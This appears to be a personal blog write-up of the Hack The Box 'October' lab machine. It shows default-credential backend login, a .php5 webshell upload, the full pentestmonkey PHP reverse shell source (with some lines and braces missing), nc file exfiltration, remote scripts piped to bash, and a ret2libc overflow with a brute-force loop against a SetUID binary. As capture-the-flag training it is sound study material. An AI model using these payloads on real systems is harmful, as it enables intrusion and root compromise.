• Donald Ashdown

HTB October

Updated: Sep 28, 2021


This was a great machine involving guided routes for the initial access to the machine, without many rabbit holes. From here we exploit an insecure application to gain root privilege's. The initial access involved by passing blacklists of October CMS where we upload a webshell that turns into a reverse shell. Basic enumeration shows a SetUID that we overflow for root.

Tools Used
  • PHP webshell shell

  • pwn tools

  • gdb debugger

Processes / Techniques
  • Outbound file transfer with NC

  1. Sender(Compromised host): nc -w 5 6363 < /path/to/file (sometimes double >> req on windows - linux)

  2. Receiver: nc -nlvp 6363 > overflow

  • ALSR bruteforce

  • Web shell


This was a fairly straight forward enumeration with only 2 ports on the machine and a small attack vector. A basic nmap scan is all we needed.

Enumeration: Website

Browsing to the website and it appears to be a self hosted content management system that supports various SQL languages for the backend database.

While reviewing and researching the website, I started running dirbuster in the background to find hidden directories. This part took longer than usual as something was throttling the queries, perhaps a firewall. But after some time, several directories emerged and the /backend/ folder revealed itself as a login page. Which using the default credentials admin/admin will grant you access. I actually looked up online after my silly guess and was able to confirm that these are in fact the default credentials for the backend application.

We are granted access to the backend console as admin. In my experience with backend web applications, my process is looking for file upload opportunities right off the bat.

Under the media portion of the webpage is an opportunity to upload files. There was one file in the media folder with the extension. php5. After attempting a few failed file uploads I changed the extension to .php5 and received confirmation of file upload.

At this point we know the webpage is running php so we will start our reverse shell execution with php webshells, and graduate a fully interactive shell.

Below are two common php webshells we can use. I chose the second of the two, and simply copied and pasted this into a file named shell.php5.

There were no issues uploading this file or finding the directory of the file. The media folder actually provided us with a hyperlink to view the now uploaded file. This webshell is activated with ?cmd= and the command thereafter. Below we successfully executed the command 'whoami'.

From here I spent some time trying to execute one line reverse shells through php, bash and netcat without any luck. I do not particular understand why this sometimes and sometimes does not work. However we still have fully interactive shells that we can pass to the file upload and make a GET request to execute.

Below is a standard PHP interactive shell that only needs to be updated with the desired IP address and port.

// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
// In all other respects the GPL version 2 applies:
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '';  // CHANGE THIS
$port = 6363;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

// Daemonise ourself if possible to avoid zombies later

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");

        if ($pid) {
                exit(0);  // Parent exits

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");

// Change to a safe directory

// Remove any umask we inherited

// Do the reverse shell...

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);


// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";


We append this file with .php5, upload and call the file with a HTTP GET request. Our waiting listener catches the reverse connection. The first step is to always upgrade the shell. For some reason as of late in the new kali distro, I cannot upgrade my shell past the python pty shell to a stty raw. After I background the process, the following foreground process locks me out from typing, so I lost some functionality and convenience here.

python -c 'import pty;pty.spawn("bash")'

www-data has permissions to view user Harry's folder in which we find flag.txt in his Desktop folder.

Enumeration Privilege Escalation

As always I start off with a sudo -l and no low hanging fruit appears. So I check the users directory and move to uploading linpeas linux enumeration script.

To do this I set up a local python server, "Python3 -m http.server" and then after many attempts I was not able to copy the file over with wget. I was constantly receiving a permission error I could not understand. Eventually I tried curl and had no luck getting the same error message. But after some brainstorming and researching I realized I could pipe it right to the bash terminal for execution by piping in | bash. This is the equivalent of the windows download string function, to run a script in memory straight through to powershell.

Unfortunately it took me several reviews of this output before I caught this suspicious SUID file at the bottom of its table. A good lesson to take my time and check the findings a few times before choosing any course of action.

Moving to that location and reviewing the file with the 'file' command reveals it is a binary. Given the name of the binary this is going to be a buffer overflow related challenge.

$ file ovrflw
ovrflw: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=004cdf754281f7f7a05452ea6eaf1ee9014f07da, not stripped

In order to fuzz and exploit this application, I will need to download the binary. After some trial and error I was able to due an unorthodox file transfer by initiating an outbound nc connection calling the specific binary from the compromised machine, to my listening machine, redirecting this into a file.

Compromised machine command:

nc -w 5 5555 < /usr/local/bin/ovrflw

Receiving machine command:

─$ nc -nlvp 5555 > overflow                                                                          1 ⨯
listening on [any] 5555 ...
connect to [] from (UNKNOWN) [] 45984


I was able to crash the application by overflowing it with data right off the bat.

$ ./ovrflw $(python -c 'print "A"*500')
Segmentation fault (core dumped)

I ran ldd twice on the application from the compromised side to check if ALSR is running. We see 2 different memory addresses for the loaded libraries.

$ ldd ovrflw
        linux-gate.so.1 =>  (0xb7759000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759e000)
        /lib/ld-linux.so.2 (0x800dc000)
$ ldd ovrflw
        linux-gate.so.1 =>  (0xb778e000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d3000)
        /lib/ld-linux.so.2 (0x800a8000)

For this exploit I will be using the pwn tools libraries, and the GDB debugger. For pwn tools I install these with the following command.

apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

From here I will setup GDB-PEDA (Python Exploit Development Assistance). This provides further functionality and syntax coloring to help reading through the debugger.

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

Enumeration: Binary

I always start off with a security check using GDB-Peda's check sec function.

  • The No eXecute or the NX bit (also known as Data Execution Prevention or DEP) marks certain areas of the program as not executable, meaning that stored input or data cannot be executed as code. This is significant because it prevents attackers from being able to jump to custom shellcode that they've stored on the stack or in a global variable.

  • Address Space Layout Randomization (or ASLR) is the randomization of the place in memory where the program, shared libraries, the stack, and the heap are. This makes can make it harder for an attacker to exploit a service, as knowledge about where the stack, heap, or libc can't be re-used between program launches. This is a partially effective way of preventing an attacker from jumping to, for example, libc without a leak. Typically, only the stack, heap, and shared libraries are ASLR enabled. It is still somewhat rare for the main program to have ASLR enabled, though it is being seen more frequently and is slowly becoming the default.

  • Stack Canaries are a secret value placed on the stack which changes every time the program is started. Prior to a function return, the stack canary is checked and if it appears to be modified, the program exits immediately.

  • Relocation Read-Only (or RELRO) is a security measure which makes some binary sections read-only. There are two RELRO "modes": partial and full.

Find the offset

With any buffer overflow the first step is to find the offset, which is the place in memory that crashes the application and writes outside the buffer into the memory.

root@kali# gdb -q ./ovrflw
Reading symbols from ./ovrflw...(no debugging symbols found)...done.
gdb-peda$ pattern_create 500

We simply generate and paste the above pattern to help auto detect the offset, instead of manually entering characters while we wait for the seg fault. Running the application and passing the 500 char pattern shows us the program crashed and the specific memory address. Well we need to confirm which register this crash memory block resides in.


We use a gdb-peda specific command 'info registers'.

gdb-peda$ info registers
Print the names and values of all registers except floating-point and vector registers (in the selected stack frame). 

Here we can see the memory address in registers and we see that the crashed memory block currently resides in the eip register, which is what we want.

Lastly is the pattern offset which is the exact length into memory the crash happened at. We can learn this by calling a gdb-peda specific command "pattern_offset 0x41384141" to determine its length from the stack, We see here it is 112.

Lets confirm the stack crashes when we write outside the buffer located 112 blocks from the initial thread. We do this by pass the offset of '112' to the stack followed by x4 B's to create a predictable pattern of 41414141 in hexadecimal. We see below that BBBB is passed to the EIP and resides there upon crashing. At the bottom we see our crashed memory block contained BBBB. We can now say we control EIP and can dictate where the binary points for its next instructions.

Return to libc.

A few things to point out here. Firstly, it should be noted that on my local system ALSR is enabled by default. Applications executed from GDB however hold a static position for the purposes of debugging. Secondly, because NX is enabled we cannot just pass shellcode outside of our offset and have it go straight to the stack for execution. We will instead have to figure out where in the libc library the system and /bin/sh binaries are stored.

  1. Identify libc library used on server

  2. Determine stack address of exit relative to libc on server

  3. Determine stack address of system relative to libc on server

  4. Determine stack address pf /bin/sh

  5. Take those relative addresses and add them to the base memory address of libc

  6. Create a while loop to continually run the application until we guess the correct libc offset address

We find the address of libc by using ldd. Keep in mind this is to be performed on the target server. If you make a noob mistake like mysef and test this against your local libc library this will not work and you will not be able to bruteforce the ALSR.

40310 system + b75a6000 = B75E6310 >> \x10\x63\x5E\xB7

33260 exit + b75a6000 = B75D9260 >> \x60\x92\x5D\xB7

162bac /bin/sh + b75a6000 = B7708BAC >> \xAC\x8B\x70\xB7

Brute force memory addresses

while true; do ovrflw $(python -c 'print "\x90"*112 + "\x10\x63\x5E\xB7" + "\x60\x92\x5D\xB7" + "\xAC\x8B\x70\xB7"'); done

81 views0 comments